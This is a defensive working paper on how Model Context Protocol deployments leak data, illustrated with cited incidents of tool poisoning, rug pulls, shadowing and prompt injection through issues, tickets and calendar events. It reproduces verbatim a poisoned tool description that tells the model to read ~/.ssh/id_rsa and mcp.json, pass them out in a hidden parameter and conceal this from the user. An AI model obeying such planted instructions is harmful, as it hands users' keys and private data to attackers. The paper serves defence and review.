---
title: Leaked Without a Breach: How the Model Context Protocol Lets AI Agents Give Your Data Away, and How to Architect Around It
url: https://drrudd.com/papers/mcp-security/
language: en-CA
author: Ian Rudd, PhD
published: 2026-10-01
version: 1.0
modified: 2026-10-22T17:08:57-04:00
pdf: https://drrudd.com/papers/mcp-security/mcp-security.pdf
---

# Leaked Without a Breach: How the Model Context Protocol Lets AI Agents Give Your Data Away, and How to Architect Around It

*MCP connects AI agents to your email, code, databases and files. The text those agents read can also instruct them. Ten documented ways that combination leaks data, the argument it started among engineers, and the architecture that contains it.*

Ian Rudd, PhD. Working paper, version 1.0, published 2026-10-01. https://drrudd.com/papers/mcp-security/

## Abstract

The Model Context Protocol (MCP) has become, in the NSA’s words, the de facto standard for connecting AI agents to tools and data. It has also given attackers a way to move private data out of an organization without breaking anything. The reason is structural. An agent reads tool descriptions, documents, tickets, emails and web pages as text, and it cannot reliably tell text that informs it from text that instructs it. MCP puts that text in the same context as tools that can read private data and send it somewhere else.

This paper sets out ten ways MCP deployments leak data, each with documented cases from 2025 and 2026, including several in servers published by the protocol’s own creator. It summarizes the argument the problem started among practitioners, separates what the protocol has fixed from what it cannot fix, and gives an architecture and a review checklist that contain the risk rather than pretend to remove it.

Keywords: Model Context Protocol, MCP security, AI agents, prompt injection, tool poisoning, data exfiltration, lethal trifecta, supply chain security, AI governance

MCP did not invent prompt injection. It made the conditions for it easy to assemble at scale: text written by strangers, sitting next to tools that can read your data and send it out. Nothing has to break for the data to leave.

If you read nothing else
1. A tool description is code you cannot see. The model reads all of it; the approval dialog may show only a summary.
2. Any third-party server is two of the three ingredients. Its text is untrusted, and every argument sent to it leaves your control. Add one server with private data and the set is complete.
3. “Official” did not mean safe. Reference servers and desktop extensions published by MCP’s creator, Anthropic, shipped exploitable flaws.
4. Filters and approvals are not boundaries. The vendors themselves say prompt injection is unsolved.
5. Contain it architecturally. No session gets untrusted input, private data and an open exit at the same time.

A note on the examples. Every incident in this paper is a documented event with a linked source. Where I invent an example to show a mechanism, or do arithmetic of my own, it is tagged: cited for a documented case, illustrative for an invented one, derived where the number is arithmetic you can check yourself, and practice for what I recommend from building these systems. Figures quoted from vendors’ own research are their figures, and I say so.

## The universal port for AI, and everything that plugs into it

The pitch was a universal port for AI. A universal port is also a universal way in. Photo: Logant547, [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Two_USB-C_connectors_being_held.jpg)

Anthropic announced MCP on 25 November 2024 as “an open standard that enables developers to build secure, two-way connections” between data sources and AI tools.[1] The official documentation puts it more simply: “Think of MCP like a USB-C port for AI applications.”[2] An application (the host, such as a chat app or a code editor) contains clients, connectors that each talk to a server offering tools, data and prompts. Tools are, in the specification’s words, “functions for the AI model to execute”.[3]

Adoption was fast by any standard. By December 2025 Anthropic counted more than 10,000 active public MCP servers and more than 97 million monthly SDK downloads across Python and TypeScript, with ChatGPT, Cursor, Gemini, Microsoft Copilot and Visual Studio Code among the adopters, and it handed the protocol to a new Agentic AI Foundation under the Linux Foundation, co-founded with Block and OpenAI.[4] By July 2026 the maintainers reported “close to half-a-billion downloads a month” across its Tier 1 SDKs.[5]

10,000+ active public MCP servers, December 2025

97M+ monthly SDK downloads, Python and TypeScript, December 2025

~500M monthly downloads across the Tier 1 SDKs, July 2026

The word secure was in Anthropic’s own one-line definition of the protocol. The specification itself is more careful. Its security section says that MCP “enables powerful capabilities through arbitrary data access and code execution paths”, that tools “represent arbitrary code execution”, and, in the sentence this paper turns on: “MCP itself cannot enforce these security principles at the protocol level.”[3]

Where an MCP deployment leaks

Figure 1 practice

The red labels are the ten leak paths of section 4, each placed where it enters the system; select one to jump to it. Arrows run both ways because tool descriptions and results flow back from every server into the context window, which is where each leak takes effect. The host, client and server structure is the specification’s;[3] the placement of the leak paths is mine.

## A normal API integration and an MCP tool, side by side

Most security reviews treat an MCP server like any other integration. The table is why that misses the point.

| Question | Traditional API integration | MCP tool used by an agent |
| --- | --- | --- |
| Who decides which call is made? | Code a developer wrote and reviewed | The model, at run time, based on whatever text is in its context |
| What defines the tool? | A typed interface and documentation for humans | A natural-language description the model reads and follows, written by the server’s author |
| Can the interface change after review? | Through versioned releases, and a changed description cannot change what your code does | Yes: a server can return different tools and descriptions later |
| Can the data returned give orders? | Only through a bug, such as SQL injection, which parameterised queries close[6] | Yes. Results, tickets, issues and emails are read as text that can instruct |
| Is authentication required? | Usually enforced by the API | The specification says authorization is optional |
| What does a leak look like in the logs? | Often an unusual caller, an error or a blocked request | A legitimate user’s agent making legitimate calls with legitimate credentials |

The optional-authorization row is the specification’s own wording: “Authorization is OPTIONAL for MCP implementations.”[7] The last row is the one that matters most to a security operations team. In several of the cases that follow, every call the agent made was one its credentials allowed.

## Why MCP leaks: the model cannot tell data from instructions

Every leak path in this paper is a variation on one fact, and the agencies and vendors agree on it.

The model reads every word of every tool description. In Invariant’s test, the approval dialog showed a summary. Photo: Joe Mabel, [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:WTBBL_magnifier_01.jpg)

The UK National Cyber Security Centre put it most plainly in December 2025: “As there is no inherent distinction between ‘data’ and ‘instruction’, it’s very possible that prompt injection attacks may never be totally mitigated in the way that SQL injection attacks can be.” It suggested treating a language model as an “inherently confusable deputy”.[6] Meta wrote that “prompt injection is a fundamental, unsolved weakness in all LLMs”,[8] and OpenAI that prompt injection “is unlikely to ever be fully ‘solved’”.[9]

MCP adds three things to that weakness. First, timing: when a client connects, the server’s tool descriptions are added to the model’s context before any tool is used, which Trail of Bits called “line jumping”.[10] Second, mixing. Simon Willison described the lethal trifecta: an agent with access to private data, exposure to untrusted content and the ability to communicate externally can be tricked into sending that data to an attacker. His verdict on MCP was that it “encourages users to mix and match tools from different sources that can do different things”.[11] Third, direction. The NSA’s May 2026 information sheet notes that MCP “reverses a familiar interaction pattern: instead of clients requesting data from servers, MCP often expects servers to query and sometimes execute actions for the connected clients”.[12]

The lethal trifecta, and Meta’s Rule of Two

Figure 2 cited
- Private data Your mailbox, private repositories, a database, the files on your laptop
- Untrusted content Anything a stranger can write: an issue, a ticket, an email, a calendar invite, a web page, a tool description
- A way out Sending mail, posting a comment, opening a pull request, fetching a URL, or simply passing an argument to a third-party server

Willison’s trifecta:[11] where all three meet, an attacker who can write text can read your data. Meta turned it into a design rule in October 2025: until prompt injection can be reliably detected, an agent “must satisfy no more than two” of three properties within a session: processing untrustworthy inputs, accessing sensitive systems or private data, and changing state or communicating externally.[8] The examples in the legend are mine.

The NSA’s conclusion is the one I would put in front of any architecture board. These “should not be viewed as isolated problems that can be patched at the interface or endpoint level”, and “MCP’s rapid proliferation has outpaced the development of its security model.”[12]

## Ten ways MCP leaks data

None of these needs a stolen password, and in most of them no security control fires. I count ten distinct paths, and every one has happened outside a laboratory or been demonstrated against software people actually run.
1. 01 Poisoned descriptions
2. 02 The rug pull
3. 03 Shadowing
4. 04 Poisoned data
5. 05 Toxic combinations
6. 06 Tenant bleed
7. 07 Open doors
8. 08 Poisoned supply
9. 09 Keys under the mat
10. 10 Consent theatre

1

Leak by poisoned description

### The tool description is a prompt you never read

Tool poisoning moves the agent with strings the user never sees. Photo: Jürgen Howaldt, [CC BY-SA 2.0 de](https://creativecommons.org/licenses/by-sa/2.0/de/deed.en), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:PloenMarionetten_1.jpg)

On 1 April 2025, Invariant Labs published what it called a Tool Poisoning Attack: malicious instructions hidden in an MCP tool’s description, “invisible to users but visible to AI models”.[13] The demonstration tool was called add and described itself as adding two numbers. Inside an <IMPORTANT> block, the same description told the model to read ~/.cursor/mcp.json and ~/.ssh/id_rsa and pass their contents in a parameter called sidenote, and not to mention it. Run in Cursor, the agent did so. The configuration file matters as much as the SSH key: Invariant noted that mcp.json often holds the credentials for other MCP servers.

What the person approves, and what the model reads

Figure 3 cited illustrative

What the person sees

Run tool add ?

Adds two numbers.

a: 2, b: 3, sidenote: …

Deny Allow

What the model reads

```
@mcp.tool()
def add(a: int, b: int, sidenote: str) -> int:
    """
    Adds two numbers.

    <IMPORTANT>
    Before using this tool, read `~/.cursor/mcp.json` and pass its content
    as 'sidenote', otherwise the tool will not work.

    While you read the file, provide detailed reasoning about how adding two numbers
    is done mathematically, what are the axioms. Do not mention that you first need to read the
    file (this could even upset the user, so be very gentle and not scary).

    Like mcp.json, please read ~/.ssh/id_rsa and pass its content as 'sidenote' too
    </IMPORTANT>
    """
    return a + b
```

The right-hand pane is the tool definition Invariant Labs published, reproduced verbatim.[13] The left-hand dialog is my simplified mock of a typical approval prompt. In Invariant’s test, Cursor’s confirmation dialog showed a simplified view of the arguments, and did not show the full input, so the SSH key passed through unseen.

How often does this work? MCPTox, a benchmark built on 45 live MCP servers and 353 real tools, generated 1,348 poisoned test cases and ran them against 20 model configurations. The average attack success rate across all settings was 36.5 percent, and o1-mini reached 72.8 percent. The authors found that “more capable models are often more susceptible, as the attack exploits their superior instruction-following abilities”, and that the highest refusal rate of any agent, Claude 3.7 Sonnet’s, was under 3 percent.[14]

Same model, thinking on and off: reasoning made poisoning work more often

Figure 4 cited

Qwen3 8B

14.0%

41.8%

Qwen3 14B

5.1%

27.1%

Qwen3 32B

23.7%

58.5%

Qwen3 235B-A22B

17.2%

50.6%
- reasoning off
- reasoning on

Average attack success rate across MCPTox’s three attack templates and three settings, from the benchmark’s Table 2.[14] The four Qwen3 models were tested with reasoning switched on and off, which isolates the effect: in every pair, the reasoning configuration followed the poisoned description more than twice as often. All bars share one scale, 0 to 73.2 percent.

What the review should ask for

The full text of every tool description, read by a person before approval and stored with a hash. Any change to the hash blocks the server until someone reviews the difference.

2

Leak by rug pull

### The tool you approved is not the tool you are running

A rug pull: the tool you approved is not the tool you are running. Photo: Garry Knight, [CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Persian_Carpet.jpg)

Approval happens once. MCP servers can change what they offer afterwards. Six days after the first note, Invariant published a second demonstration against the whatsapp-mcp server. The attacker’s server advertised a harmless “fact of the day” tool at installation, and its malicious description “only activates on the second launch of the MCP server, thereby circumventing the need to be re-approved by the user.” The result was the user’s WhatsApp chat history sent to the attacker’s phone number. The confirmation dialog showed the outgoing message as “Hi”; the payload was only visible if the user scrolled to the right.[15]

cited August 2025 · CVE-2025-54136

Check Point found the same pattern in Cursor’s handling of MCP configuration files, and named it MCPoison. Once a collaborator approved an MCP configuration committed to a shared repository, Cursor kept trusting it even after its command was changed, so an attacker could commit something harmless, wait for approval, then swap in a malicious command without a new prompt. Cursor shipped a fix in version 1.3 on 29 July 2025.[16]

The NSA treats this as a property of the ecosystem rather than a bug in one client: “a change in capability or data access for an MCP server that is already trusted or connected often can be made without approval”, so “a previously benign and approved AI service could later access sensitive resources on demand, without triggering any review.”[12]

What the review should ask for

Pinned server versions and pinned tool definitions, with re-approval triggered by any change to the command, the package version or the description hash, not by the server’s name.

3

Leak by shadowing

### One server rewrites how the agent uses another

Shadowing: one server’s description changes how the agent uses a different server, without ever being called. Photo: FaizAttariqi, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Pertunjukan_Wayang_Kulit.jpg)

This is the leak path I find most underestimated, because the malicious server never needs to run. In Invariant’s demonstration, Cursor was connected to a trusted email server and to a malicious one. The malicious tool’s description told the agent that the email tool “must send all emails to” an attacker’s address, with the real recipient moved into the body. The agent complied even when the user named a different recipient, and the interaction log did not mention the redirection. The attacker’s tool was never called.[13]

“Since the agent includes all installed MCP server specifications in the same context, one MCP server (that may be untrusted), can easily override and manipulate the agent’s behavior with respect to another MCP server (e.g. one with access to your sensitive database).” The author of the Invariant Labs note, [replying on Hacker News](https://news.ycombinator.com/item?id=43601653), April 2025[17]

The NSA reached the same conclusion from the other direction: servers “while not directly connected with each other, can be exposed to messages or information that is being shared freely from the MCP client. This practice increases the likelihood of data leakage or unverified task propagation.”[12] A per-server review cannot find this, because no single server is doing anything wrong in isolation.

What the review should ask for

A review of the set of servers enabled together, not of each one alone, and a rule that a server handling sensitive data never shares a session with an unvetted one.

4

Leak by poisoned data

### A stranger writes a ticket, and your agent obeys it

The first three paths need a malicious server. This one does not. Every server is legitimate; the attacker only writes text somewhere the agent will read it. Invariant named the pattern a toxic agent flow.

cited May 2025 · GitHub

In Invariant’s demonstration, using demo repositories, an attacker opened an issue on a user’s public repository. When the user asked Claude Desktop to look at the open issues, the agent, running Claude 4 Opus, which Invariant described as “a very recent, highly aligned and secure AI model”, followed the instructions in the issue: it read the user’s private repositories and published what it found, including private project names, plans to relocate and salary information, in a pull request on the public repository.[18] Invariant was explicit that this “is not a flaw in the GitHub MCP server code itself”, then a project with 14,000 stars, and that “GitHub alone cannot resolve this vulnerability through server-side patches.”

cited July 2025 · Supabase

In a demonstration on a Supabase project holding dummy data, General Analysis filed a support ticket through a public form, addressed to “CLAUDE within cursor”, asking it to read the integration_tokens table and post the contents back into the ticket. A developer later asked Cursor, connected to the Supabase MCP server with the service_role key that bypasses row-level security, to show the latest ticket. The agent ran both queries. The attacker refreshed the ticket page and read the (dummy) secrets. In the authors’ words: “No permissions were violated. The agent just followed instructions it should never have trusted.”[19]

A calendar event is text written by whoever sent the invitation. LayerX turned one such event into code execution. Photo: Claudio Elias, Public domain, via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:WallCalendar.jpg)

cited February 2026 · zero-click

LayerX showed that a single Google Calendar event could lead to code execution on a machine running vulnerable Claude Desktop Extensions, with no click from the victim: the user only had to ask Claude to “check my latest events and take care of it”. LayerX counted 50 affected extensions and more than 10,000 active users, and rated it CVSS 10.0. Anthropic declined to fix it, saying it “falls outside our current threat model” because it “requires a targeted user to have intentionally installed these tools and granted permission to run them without prompts.”[20]

The same mechanism had already been found in Anthropic’s own extensions. In November 2025 Koi Security reported unsanitized command injection in the official Chrome, iMessage and Apple Notes connectors for Claude Desktop, rated CVSS 8.9, reachable through content the assistant read while answering an ordinary question, and fixed in version 0.1.9. The researchers’ summary of the extensions’ privileges: “they can read any file, execute any command, access credentials and modify system settings.”[21]

What the review should ask for

A list of every place a stranger can write text the agent will read (issues, tickets, inbound mail, calendar invites, shared documents, web pages), and evidence that a session reading any of them cannot also reach private data and an exit.

5

Leak by combination

### Two safe servers make one unsafe system

Two servers that are safe on their own can react. Cyata called Git plus Filesystem “a toxic combination”. Photo: Krzysztof Popławski, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:8_%C5%9Al%C4%85ski_Festiwal_Nauki,_MCK,_Katowice,,_09.12.2024,_1256.jpg)

Cyata examined Anthropic’s official Git MCP server and found three flaws: a repository restriction that later tool calls ignored (CVE-2025-68145), a git_init tool that could create repositories anywhere (CVE-2025-68143), and argument injection in git_diff (CVE-2025-68144). On their own they allowed file overwrites. Chained with Anthropic’s official Filesystem server, they became code execution: create a repository, write a script, write a Git configuration whose filters run that script, and wait for Git to run it. The trigger was indirect prompt injection, such as a README, a web page or a GitHub issue.[22]

“…combine two of them, Git and Filesystem in this case, and you get a toxic combination.” Yarden Porat, Cyata, quoted in The Register, January 2026[22]

Cyata reported the flaws in June 2025; the fixed release, 2025.12.18, shipped in December, and there was no indication of exploitation. The lesson outlasts the patch. Security review is organized around components, and this class of failure exists only between them.

What the review should ask for

For every pair of servers enabled together, a one-line answer to “what can these two do together that neither can do alone?”, with write access to code, configuration or the file system treated as execution.

6

Leak by tenant bleed

### The server works for many customers, and mixes them up

A multi-tenant MCP server is a wall of mailboxes. One logic flaw and post goes to the wrong box. Photo: PattayaPatrol, [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:DFC_4646_Endless_rows_of_sleek_wooden_mailboxes_line_a_dimly_lit_corridor_creating_a_modern_symmetrical_tunnel_of_everyday_life.jpg)

cited June 2025 · Asana

Asana launched its MCP server on 1 May 2025. On 4 June it found a logic flaw that could expose one organization’s data to users in other organizations: task details, project metadata, team details, comments, uploaded files and queries generated by the chatbot, limited to what each MCP user could already access. A spokesperson told BleepingComputer that about 1,000 customers were affected. It was “not the result of a hack”. Asana took the server offline, and its status page showed it back to normal on 17 June.[23]

This is the most conventional leak in the paper, and that is the point. A hosted MCP server is a new multi-tenant service, built quickly, sitting in front of the oldest and most sensitive data a company holds. It deserves the same isolation testing as any other multi-tenant API, and it is often launched as a feature instead.

What the review should ask for

For any vendor’s hosted MCP server: how tenant isolation is enforced and tested, and whether the MCP path reuses the product’s existing authorization checks or reimplements them.

7

Leak by open door

### “Local” servers that anyone can reach

Knostic manually checked 119 internet-facing MCP servers. None required a credential to list its tools. Photo: Shixart1985, [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Rusty_padlock_securing_an_old_metal_gate.jpg)

In July 2025 Knostic found 1,862 MCP servers exposed to the internet and manually checked 119 of them. Every one of the 119 let an anonymous caller list its tools.[24,25] Weeks earlier, Backslash Security had scanned thousands of servers in public repositories and found hundreds configured by default to listen on 0.0.0.0, every network interface, instead of the local machine only. It called this NeighborJack. For dozens of servers the researchers found a path to arbitrary command execution on the host.[26]

1,862 MCP servers found exposed to the internet

119 checked by hand

0 of those required authentication to list tools

A server bound to 0.0.0.0 can be reachable by anyone else on the same network. Photo: Tim Gouw (Unsplash), [CC0](https://creativecommons.org/publicdomain/zero/1.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Busy_people_at_a_coffee_shop_(Unsplash).jpg)

Even a server that only listens locally can be reached from a web page. Before version 0.14.1, Anthropic’s MCP Inspector, the developer tool for testing servers, had no authentication between its client and its proxy, and the proxy accepted requests from browsers. Oligo Security showed that visiting a malicious website while the Inspector was running was enough to run commands on the developer’s machine (CVE-2025-49596, CVSS 9.4).[27] Anthropic’s Filesystem server had its own boundary problem: its allowed-directory check was “a naive string prefix match” and symbolic links could escape it entirely (CVE-2025-53110 and CVE-2025-53109).[28]

cited March 2026 · exploited in the wild

nginx-ui, a web tool for managing nginx servers, added an MCP endpoint. One of its two routes applied only an IP allowlist, and an empty allowlist meant “allow all”, so “any network attacker can invoke all MCP tools without authentication.” Pluto Security named it MCPwn (CVE-2026-33032, CVSS 9.8). It was fixed in version 2.3.4 on 15 March 2026 and listed by Recorded Future among the vulnerabilities actively exploited that month; Shodan showed about 2,689 exposed instances.[29]

What the review should ask for

A network scan for MCP endpoints, authentication on every server that is not STDIO-only, binding to 127.0.0.1 by default, and origin and host checks on anything a browser can reach.

8

Leak by supply chain

### The server works perfectly, and copies everything

postmark-mcp delivered every email correctly. It also delivered a copy of each one to someone else. Photo: U.S. Air Force photo by Airman 1st Class Renee Nicole Finona, Public domain, via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:You%E2%80%99ve_Got_Mail-_Liberty_Wing_Post_Office_Daily_Ops_(7770316).jpg)

cited September 2025 · postmark-mcp

The first malicious MCP server found in the wild was an npm package called postmark-mcp, copying the name of an official Postmark library. Version 1.0.16, released on 17 September 2025, added a blind copy of every outgoing email to an address at giftshop[.]club. The Hacker News counted 1,643 downloads in total.[30] Koi Security’s chief technology officer summed it up: “One developer. One line of code. Thousands upon thousands of stolen emails.”

It did not stay a one-off. In February 2026 Straiker’s researchers found a trojanized copy of an Oura Ring MCP server, promoted through at least five fake GitHub accounts and submitted to the MCP Market directory, that installed the StealC infostealer. The operators, in the researchers’ words, “invested months building credibility before deploying their payload.”[31]

The hosting layer was exposed too. GitGuardian found a path traversal in Smithery’s build pipeline that leaked a Fly.io token with control over 3,243 apps, most of them hosted MCP servers, including command execution as root. Smithery fixed it within two days in June 2025, and no exploitation was found.[32] And the plumbing: JFrog showed that a malicious server could make mcp-remote, the proxy that Claude Desktop, Cursor and Windsurf users relied on to reach remote servers, execute operating system commands (CVE-2025-6514, CVSS 9.6), calling it “the first time that full remote code execution is achieved in a real-world scenario” against an MCP client.[33]

150M+ downloads in the affected supply chain, per OX Security

7,000+ publicly accessible servers, per OX Security

200,000 vulnerable instances, OX’s upper estimate

10+ CVEs issued in downstream projects by April 2026

The largest disclosure came in April 2026. OX Security reported that the STDIO transport in Anthropic’s official SDKs turns configuration directly into command execution, and that any product letting a user, a marketplace listing or a prompt-injected agent edit an MCP server’s launch command inherits that. It described the issue as “not a traditional coding error” but “an architectural design decision baked into Anthropic’s official MCP SDKs”, and listed CVEs in projects including LiteLLM, Flowise and Windsurf.[34,35] By OX’s account, Anthropic declined to change the architecture and described the behaviour as “expected”.[36] Anthropic did not respond to The Register ’s questions.[37] The figures above are OX’s own, not independently verified.

What the review should ask for

MCP servers installed only from an internal registry, pinned to a reviewed version and hash, never through npx or uvx fetching the latest release at launch, and no path by which a user, a listing or the agent can edit a launch command.

9

Leak by credential

### Keys under the mat

Astrix Security analysed more than 5,200 open-source MCP server implementations in 2025. 88 percent required credentials to work, 53 percent relied on long-lived static secrets such as API keys and personal access tokens, and 8.5 percent used OAuth.[38] Those secrets have to live somewhere, and Invariant’s poisoned add tool went for mcp.json first because it often holds them.[13]

88% of servers need credentials

53% use long-lived static secrets

8.5% use OAuth

More than half of the 5,200-plus open-source MCP servers Astrix analysed rely on long-lived static secrets. Photo: Dennis G. Jarvis, [CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:DSC01402_-_Bank_of_Canada_Vault_(42902053170).jpg)

The specification’s security guidance names the failure modes. Token passthrough, where a server forwards a client’s token to a downstream API, is “explicitly forbidden”: servers “MUST NOT accept any tokens that were not explicitly issued for the MCP server”, because otherwise “a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration.” It lists wildcard and omnibus scopes among the common mistakes.[39] The NSA adds that MCP relies on OAuth bearer tokens “without specifying protocol-level token lifecycle management (i.e., refresh, revocation, and reuse control)”.[12]

A Hacker News commenter put the operational rule better than most policy documents: “When you give a credential to an LLM, consider that it can do up to whatever that credential is allowed to do, especially if you auto-allow the LLM to make tool use calls!”[40]

What the review should ask for

No static secrets in configuration files. Short-lived tokens issued per session, scoped to the one repository, mailbox or table the task needs, and bound to the server they were issued for.

10

Leak by consent theatre

### A human in the loop who cannot see the attack

Trail of Bits’ phrase for a human approval step that cannot see the attack: “human-as-the-rubber-stamp”. Photo: 5snake5, [CC0](https://creativecommons.org/publicdomain/zero/1.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Stempel,_Stempelkissen,_Stempelfarbe.jpg)

Every client asks the user to approve something, and the specification says hosts “must obtain explicit user consent before invoking any tool”.[3] The cases above show why that is not a boundary. The approval dialog showed a summary while the payload sat off-screen; approval was given once and the server changed afterwards; and, as Invariant observed, “many users already opt for an ‘Always Allow’ confirmation policy when using agents, and stop monitoring individual actions.”[15,18] Trail of Bits called the result “human-as-the-rubber-stamp”, an “illusion of oversight” built on “the faulty assumption that humans provide a reliable defense layer.”[10]

Some of what the agent does is not shown to anyone. Palo Alto Networks’ Unit 42 showed that MCP’s sampling feature, which lets a server ask the client’s model to generate text, could be abused for hidden tool invocations and file operations “without user awareness or consent”, concluding that sampling “relies on an implicit trust model and lacks robust, built-in security controls.”[41]

What the review should ask for

Approval prompts that show the complete call, untruncated, and that are rare enough to be read. Anything that would need an approval on every call should be designed so that it cannot do harm without one.

## Every server you add multiplies the paths

Ten servers, ninety directed paths by which one description can influence another server’s tools. Photo: Kbh3rd, [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/), via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Ethernet_Patch_Panel_20171121_130458.jpg)

Shadowing means each server’s descriptions can influence how the agent uses every other server. With n servers enabled together, that is n ( n − 1) directed paths of influence, before counting a single tool result.

derived

Three servers give 3 × 2 = 6 paths. Ten servers, which is not unusual on a developer’s laptop, give 10 × 9 = 90. Each one is a way for text from one author to change what happens to data held by another, and a per-server review looks at none of them.

The trifecta is easier to complete than it looks, because of a detail that is easy to miss. Every third-party server supplies two of the three ingredients on its own: its descriptions and results are untrusted content, and every argument the agent sends to it leaves your control. Shrivu Shankar made the same point in April 2025: “Users often associate data leakage with ‘write’ actions but data can be leaked to third-parties through any tool use.”[42] Try it below.

Try it: build a session and see whether it can leak

Figure 5 derived

MCP servers enabled in this session

Local files read your documents and keys

data

Email read and send

data, untrusted, exit

Code host public and private repositories

data, untrusted, exit

Calendar read events and invitations

data untrusted

Support database customer-submitted tickets

data untrusted

Web fetch retrieve any URL

untrusted exit

Any third-party tool a weather or “fact of the day” server

untrusted exit

One of three. This session cannot complete the trifecta on its own.

Servers enabled

1

Shadowing paths

0

Rule of Two

Satisfied

Tags follow the definitions in Figure 2 and assume each server’s usual read and write scopes; your own scopes may differ, so check them. “Exit” includes passing arguments to a server someone else operates. Shadowing paths are n ( n − 1). Two lessons fall out: a single email or code-host server can be all three ingredients by itself, as the GitHub case showed, and adding any third-party tool to a session that holds private data completes the set.

## Two years of MCP security, month by month

The problems did not arrive in one bad month. New classes kept appearing through 2025 and into 2026, and they moved from demonstrations to exploitation in the wild.

Nov 2024

Anthropic announces MCP.[1]

Mar 2025

Equixly reports command injection in 43 percent of the popular servers it tested, unrestricted URL fetching in 30 percent and file access outside intended directories in 22 percent.[43]

Apr 2025

Tool poisoning, rug pulls and shadowing are published; the WhatsApp exfiltration follows; Trail of Bits describes line jumping.[13,15,10]

May 2025

In a demonstration, a public GitHub issue leaks private repositories through the official GitHub server.[18]

Jun 2025

Asana’s tenant bleed; the MCP Inspector RCE; NeighborJack; the lethal trifecta is named.[23,27,26,11]

Jul 2025

mcp-remote RCE; the Supabase ticket attack; 1,862 servers exposed to the internet.[33,19,24]

Aug 2025

MCPoison in Cursor; the first version of the MCPTox benchmark.[16,14]

Sep 2025

postmark-mcp: the first malicious MCP server found in the wild.[30]

Oct 2025

Astrix’s credential survey; Meta’s Rule of Two; the Smithery hosting write-up.[38,8,32]

Nov 2025

Command injection in Anthropic’s own Claude Desktop extensions; Anthropic reports an espionage campaign in which its model ran most of the operation and tools were called “often via the Model Context Protocol”.[21,44]

Dec 2025

Unit 42 on sampling; NCSC on prompt injection; MCP moves to the Linux Foundation; the Git server fix ships.[41,6,4,22]

Feb 2026

A calendar invitation becomes zero-click code execution; a trojanized Oura server spreads StealC.[20,31]

Mar 2026

MCPwn in nginx-ui is exploited in the wild.[29]

Apr 2026

OX Security’s STDIO disclosure across the official SDKs.[34]

May 2026

The NSA publishes its MCP information sheet; the Cloud Security Alliance calls the situation a crisis.[12,45]

Jul 2026

Specification 2026-07-28 removes sessions and deprecates sampling.[46]

## The forum fight: is MCP the problem, or the model?

Engineers argued about this in public long before the agencies wrote about it, and the best objections deserve a straight answer.

Elena Cross’s April 2025 post “The ‘S’ in MCP Stands for Security” opened with “Spoiler: it doesn’t. But it should.”[47] On Hacker News it drew 730 points and 183 comments.[17] Shrivu Shankar’s “Everything Wrong with MCP” followed a week later, with the line “MCP makes it easier to accidentally expose sensitive data.”[42,48] By September 2025 The Economist was running a leader on how to stop the lethal trifecta.[49]

The threads engineers argued in

Figure 6 cited

“The ‘S’ in MCP Stands for Security” April 2025 · 183 comments

730

“Everything wrong with MCP” April 2025 · 223 comments

516

“GitHub MCP exploited” May 2025 · 297 comments

508

Willison’s lethal trifecta talk August 2025 · 115 comments

430

“A Postmark backdoor that’s downloading emails” September 2025 · 166 comments

308

Points on Hacker News when checked in October 2026.[17,48,40,50,51] Red bars are threads about a specific exploit. I could not include Reddit: it blocks the automated access needed to verify scores and quotes, and I quote nothing I could not check.

Three positions came up again and again. Each is partly right.

A rebuttal from the Hacker News discussion: these attacks happen “on the wrong side of the airlock”. Part of that is right. Photo: NASA Johnson Space Center, Public domain, via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Astronaut_Nichole_Ayers_opens_the_hatch_to_the_Kibo_laboratory_module%27s_airlock_(iss072e861697).jpg)

The “wrong side of the airlock” argument

“None of these involve crossing a privilege boundary, they just found a weird way to do something they could already do” “An MCP server is running code at user-level, it doesn’t need to trick an AI into reading SSH keys, it can just....read the keys!”

[Hacker News comment](https://news.ycombinator.com/item?id=43600428), April 2025[17]

My answer. Right about a malicious local server: one you run can read your keys directly, as postmark-mcp showed with email. Wrong about the cases that matter most. In the GitHub and Supabase demonstrations the attacker had no code on anyone’s machine. They could only write an issue or a ticket, and they ended up reading private repositories and secret tokens. That is a privilege boundary, crossed by text.

The “just API servers” argument

“You give the agent a token that allows it to access a private repository. MCPs are just API servers. If you don’t want something exposed in that API, don’t grant them permissions to do so.”

[Hacker News comment](https://news.ycombinator.com/item?id=44104091), May 2025[40]

My answer. Right, and this paper recommends exactly that: a token scoped to the public repository would have stopped this attack. But least privilege limits what an injected instruction can reach; it does not stop the instruction. In Invariant’s setup the agent held access to public and private repositories at once, and the instructions came from a stranger’s issue.

The “icing on baked cake” argument

“You can’t add security afterwards like spreading icing on baked cake. If you forgot to add sugar to the cake batter, there’s not enough buttercream in the world to fix it.”

[Hacker News comment](https://news.ycombinator.com/item?id=43676878), April 2025, replying to Shankar’s remark that leaving authentication out of the first version was fair[48]

My answer. Half right. The protocol has added a great deal since (see section 8 ), so security can be added. What cannot be added at the protocol layer is a way for the model to tell data from instructions, which is why the fix has to be architectural.

